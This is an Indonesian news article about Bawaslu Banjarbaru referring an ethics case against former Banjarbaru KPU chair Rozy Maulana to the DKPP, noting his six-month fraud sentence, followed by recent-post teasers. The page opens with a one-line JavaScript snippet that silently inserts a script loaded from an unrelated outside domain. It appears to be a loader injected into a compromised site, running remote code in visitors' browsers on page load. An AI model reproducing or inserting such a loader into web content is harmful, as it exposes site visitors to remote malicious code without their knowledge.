(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

Bawaslu Banjarbaru Bawa Perkara Mantan Ketua KPU ke DKPP


KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru meneruskan laporan temuan perkara mantan Ketua Komisi Pemilhan Umum (KPU) Kota Banjarbaru Rozy Maulana ke Dewan Kehormatan Penyelenggara Pemilu (DKPP).

Ketua Bawaslu Kota Banjarbaru Nor Ikhsan mengatakan, komisioner Bawaslu Kota Banjarbaru berangkat ke Jakarta untuk memproses laporan hasil temuan pelanggaran tersebut.

“Tindak lanjut kita Bawaslu Banjarbaru sedang berproses, dari hasil temuan itu kita teruskan ke DKPP, hari ini pak Hegar berangkat ke Jakarta,” ujar Ketua Bawaslu Kota Banjarbaru, Nor Ikhsan, Senin (9/9/2024).

Ikhsan menjelaskan,Bawaslu Kota Banjarbaru mendapati ada temuan pelanggaran kode etik penyelenggara Pemilu oleh Rozy Maulana.

Baca juga: Aula SMAN 7 Banjarmasin Ambruk, Siswa Sempat Terperosok

Temuan itu tertuang dengan nomor 001/Reg/TM/PL/Kota/22.02/VIII/2024 tertanggal 9 September 2024 yang ditandatangani Ketua Bawaslu Kota Banjarbaru.

“Semenjak kita menerima laporan dari Muhammad Wahyu NZ langsung pleno untuk laporan itu dan kita sepakat kuntuk meneruskan atau menindaklanjuti laporan tersebut,” ungkapnya.

Sebelumnya Bawaslu Banjarbaru menindaklanjuti laporan yang dilayangkan Muhammad Wahyu NZ pada Senin (5/8/2024), untuk diproses sesuai dengan Peraturan Bawaslu (Perbawaslu) Nomor 7.

“Selang berproses sesuai dengan Perbawaslu Nomor 7 maka kita lakukan penelusuran,” jelas dia.

Baca juga: Unjuk Rasa Sambut Pelantikan Anggota DPRD Kalsel 2024-2029

Dalam hal penelusuran, katanya, Bawaslu Banjarbaru turut memanggil beberapa saksi dan juga KPU Banjarbaru untuk memberikan klarifikasi.

“Maka kita menyimpulkan dari hasil penelusuran tersebut memang ada temuan,” sebutnya.

Terkait hukuman yang diberikan kepada Rozy Maulana akan menunggu hasil keputusan akhir dari DKPP.

“Keputusannya kita tunggu DKPP, yang jelas Bawaslu sudah melaksanakan amanah sesuai dengan Perbawaslu Nomor 7, untuk keputusan akhir kita serahkan ke DKPP,” tuntas Ikhsan.

Baca juga: 17 Kandang Babi di Guntung Manggis Belum Dibongkar, Ada Tambahan Ternak Baru

Diketahui saat ini, Rozy Maulana berstatus sebagai tersangka dan tengah divonis majelis hakim dengan hukuman pidana 6 bulan penjara.

Vonis itu berdasarkan informasi dari laman SIPP PN Batulicin pada Rabu (4/9/2024) tadi, dimana Rozy dinyatakan terbukti secara sah dan meyakinkan dengan dakwaan penipuan.

Vonis itu diketahui ebih ringan dari tuntutan jaksa penuntut umum, yang mendakwa Rozy atas tindak pidana penipuan pasal 378 KUHP dengan tuntutan pidana penjara selama 9 bulan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

7 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

14 jam ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

16 jam ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

17 jam ago

Banjir Rob di Tanjung Pagar 45 KK Terdampak

KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More

17 jam ago

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

1 hari ago

This website uses cookies.